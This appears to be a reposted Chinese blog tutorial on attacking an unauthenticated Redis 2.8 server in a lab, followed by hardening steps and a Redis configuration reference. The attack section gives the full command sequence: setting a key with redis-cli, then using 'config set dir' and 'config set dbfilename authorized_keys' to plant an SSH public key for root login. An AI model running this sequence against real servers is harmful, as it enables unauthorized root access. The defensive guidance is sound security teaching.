一.Redis未授权访问攻击过程
攻击主机:kali
目标主机:centos6.8(10.104.11.178)
Redis版本:2.8
攻击条件:默认配置,未进行认证
攻击步骤详解:
1.Kali攻击主机生成ssh rsa公钥
1 2 3 | root@kali:~/.ssh# ls known_hosts root@kali:~/.ssh# ssh-keygen -t rsa |
2.将公钥写入key.txt
将第一步生成的公钥写入指定的文件 key.txt
1 | root@kali:~/.ssh# (echo -e "\n\n" ;cat id_rsa.pub;echo -e "\n\n" )>key.txt |
3.利用redis自身提供的config命令 将自己的公钥写入redis内存
1 2 | root@kali:~/.ssh# cat /root/.ssh/key.txt|/usr/redis/redis-cli -h 10.104.11.178 -x set xxx OK |
执行成功
4.Redis连接目标主机
1 2 | root@kali:~/.ssh# /usr/redis/redis-cli -h 10.104.11.178 -p 6379 10.104.11.178:6379> |
连接成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 | 查看info信息 root@kali:~/.ssh# /usr/redis/redis-cli -h 10.104.11.178 10.104.11.178:6379> info # Server redis_version:2.8.17 redis_git_sha1:00000000 redis_git_dirty:0 redis_build_id:ee9a5c34b9ec4a26 redis_mode:standalone os:Linux 2.6.32-642.el6.x86_64 x86_64 arch_bits:64 multiplexing_api:epoll gcc_version:4.4.7 process_id:36422 run_id:f02a212c0f7090715b6935319b0b7bb4f83e81f5 tcp_port:6379 uptime_in_seconds:2158 uptime_in_days:0 hz:10 lru_clock:15382406 <strong>config_file:/root/redis-2.8.17/redis.conf </strong> #redis配置文件 # Clients connected_clients:1 client_longest_output_list:0 client_biggest_input_buf:0 blocked_clients:0 # Memory used_memory:811488 used_memory_human:792.47K used_memory_rss:8441856 used_memory_peak:831456 used_memory_peak_human:811.97K used_memory_lua:33792 mem_fragmentation_ratio:10.40 mem_allocator:jemalloc-3.6.0 # Persistence loading:0 rdb_changes_since_last_save:0 rdb_bgsave_in_progress:0 rdb_last_save_time:1525331028 rdb_last_bgsave_status:ok rdb_last_bgsave_time_sec:-1 rdb_current_bgsave_time_sec:-1 aof_enabled:0 aof_rewrite_in_progress:0 aof_rewrite_scheduled:0 aof_last_rewrite_time_sec:-1 aof_current_rewrite_time_sec:-1 aof_last_bgrewrite_status:ok aof_last_write_status:ok # Stats total_connections_received:8 total_commands_processed:23 instantaneous_ops_per_sec:0 rejected_connections:0 sync_full:0 sync_partial_ok:0 sync_partial_err:0 expired_keys:0 evicted_keys:0 keyspace_hits:2 keyspace_misses:0 pubsub_channels:0 pubsub_patterns:0 latest_fork_usec:0 # Replication role:master connected_slaves:0 master_repl_offset:0 repl_backlog_active:0 repl_backlog_size:1048576 repl_backlog_first_byte_offset:0 repl_backlog_histlen:0 # CPU used_cpu_sys:2.59 used_cpu_user:1.06 used_cpu_sys_children:0.00 used_cpu_user_children:0.00 # Keyspace db0:keys=1,expires=0,avg_ttl=0 |
5.修改redis备份路径和公钥写入authorized_keys
1 2 3 4 5 6 7 | 10.104.11.178:6379> config set dir /root/.ssh OK 10.104.11.178:6379> config get dir 1) "dir" 2) "/root/.ssh" 10.104.11.178:6379> config set dbfilename authorized_keys OK |
查看info信息
6.接下来进入ssh连接
1 2 | root@kali:~/.ssh# ssh root@10.104.11.178 -p 22 -i ~/.ssh/id_rsa Last login: Wed May 2 23:41:47 2018 from 10.104.10.97 |
注:全部执行成功,远程ssh登录仍需要密码原因在于:10.104.11.178目标主机配置文件未开启key登录
二.redis未授权访问安全防御:
1.禁止一些高危命令
修改 redis.conf 文件,添加
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
来禁用远程修改 DB 文件地址
2.以低权限运行 Redis 服务
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
$ groupadd -r redis && useradd -r -g redis redis
3.为 Redis 添加密码验证
修改 redis.conf 文件,添加
requirepass mypassword
4.禁止外网访问 Redis
修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
bind 127.0.0.1
5.保证 authorized_keys 文件的安全
阻止其他用户添加新的公钥。将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
chmod 400 ~/.ssh/authorized_keys
保证 authorized_keys 的权限不会被改掉,设置该文件的 immutable 位权限:
chattr +i ~/.ssh/authorized_keys
用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:
chattr +i ~/.ssh
三.配置文件
1. Redis默认不是以守护进程的方式运行,可以通过该配置项修改,使用yes启用守护进程
daemonize no
2. 指定Redis监听端口,默认端口为6379
port 6379
3.绑定的主机地址
bind 127.0.0.1#仅本机使用,如果限制多个ip使用,空格隔开
4.当 客户端闲置多长时间后关闭连接,如果指定为0,表示关闭该功能
timeout 300
5. 指定日志记录级别,Redis总共支持四个级别:debug、verbose、notice、warning,默认为verbose
debug:记录很多信息,用于开发和测试
verbose:有用的信息,不像debug会记录那么多
notice:普通的verbose,常用于生产环境
warning:只有非常重要或者严重的信息会记录到日志
6. 日志记录方式,默认为标准输出,如果配置Redis为守护进程方式运行,而这里又配置为日志记录方式为标准输出,则日志将会发送给/dev/null
logfile stdout
7. 设置Redis连接密码,如果配置了连接密码,客户端在连接Redis时需要通过AUTH <password>命令提供密码,默认关闭
requirepass foobared
标签:修改 空格 table inpu cell mis rbo pre ptime
原文地址:https://www.cnblogs.com/qiaosipo/p/12519120.html